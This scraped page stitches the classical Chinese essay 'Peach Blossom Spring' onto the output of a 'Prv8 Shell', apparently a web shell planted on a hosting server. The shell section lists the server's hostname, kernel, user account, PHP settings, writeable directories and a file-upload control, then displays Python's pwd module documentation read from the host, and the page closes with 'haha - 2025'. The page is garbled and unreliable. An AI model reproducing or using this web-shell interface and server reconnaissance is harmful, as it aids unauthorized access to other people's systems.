晋太元中，武陵人捕鱼为业。缘溪行，忘路之远近。忽逢桃花林，夹岸数百步，中无杂树，芳草鲜美，落英缤纷。渔人甚异之，复前行，欲穷其林。 　　林尽水源，便得一山，山有小口，仿佛若有光。便舍船，从口入。初极狭，才通人。复行数十步，豁然开朗。土地平旷，屋舍俨然，有良田、美池、桑竹之属。阡陌交通，鸡犬相闻。其中往来种作，男女衣着，悉如外人。黄发垂髫，并怡然自乐。 　　见渔人，乃大惊，问所从来。具答之。便要还家，设酒杀鸡作食。村中闻有此人，咸来问讯。自云先世避秦时乱，率妻子邑人来此绝境，不复出焉，遂与外人间隔。问今是何世，乃不知有汉，无论魏晋。此人一一为具言所闻，皆叹惋。余人各复延至其家，皆出酒食。停数日，辞去。此中人语云：“不足为外人道也。”(间隔 一作：隔绝) 　　既出，得其船，便扶向路，处处志之。及郡下，诣太守，说如此。太守即遣人随其往，寻向所志，遂迷，不复得路。 　　南阳刘子骥，高尚士也，闻之，欣然规往。未果，寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/doc/python3-docs/html/_sources/library/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/python3-docs/html/_sources/library/pwd.rst.txt
:mod:`pwd` --- The password database
====================================

.. module:: pwd
   :platform: Unix
   :synopsis: The password database (getpwnam() and friends).

--------------

This module provides access to the Unix user account and password database.  It
is available on all Unix versions.

Password database entries are reported as a tuple-like object, whose attributes
correspond to the members of the ``passwd`` structure (Attribute field below,
see ``<pwd.h>``):

+-------+---------------+-----------------------------+
| Index | Attribute     | Meaning                     |
+=======+===============+=============================+
| 0     | ``pw_name``   | Login name                  |
+-------+---------------+-----------------------------+
| 1     | ``pw_passwd`` | Optional encrypted password |
+-------+---------------+-----------------------------+
| 2     | ``pw_uid``    | Numerical user ID           |
+-------+---------------+-----------------------------+
| 3     | ``pw_gid``    | Numerical group ID          |
+-------+---------------+-----------------------------+
| 4     | ``pw_gecos``  | User name or comment field  |
+-------+---------------+-----------------------------+
| 5     | ``pw_dir``    | User home directory         |
+-------+---------------+-----------------------------+
| 6     | ``pw_shell``  | User command interpreter    |
+-------+---------------+-----------------------------+

The uid and gid items are integers, all others are strings. :exc:`KeyError` is
raised if the entry asked for cannot be found.

.. note::

   .. index:: module: crypt

   In traditional Unix the field ``pw_passwd`` usually contains a password
   encrypted with a DES derived algorithm (see module :mod:`crypt`).  However most
   modern unices  use a so-called *shadow password* system.  On those unices the
   *pw_passwd* field only contains an asterisk (``'*'``) or the  letter ``'x'``
   where the encrypted password is stored in a file :file:`/etc/shadow` which is
   not world readable.  Whether the *pw_passwd* field contains anything useful is
   system-dependent.  If available, the :mod:`spwd` module should be used where
   access to the encrypted password is required.

It defines the following items:


.. function:: getpwuid(uid)

   Return the password database entry for the given numeric user ID.


.. function:: getpwnam(name)

   Return the password database entry for the given user name.


.. function:: getpwall()

   Return a list of all available password database entries, in arbitrary order.


.. seealso::

   Module :mod:`grp`
      An interface to the group database, similar to this.

   Module :mod:`spwd`
      An interface to the shadow password database, similar to this.

haha - 2025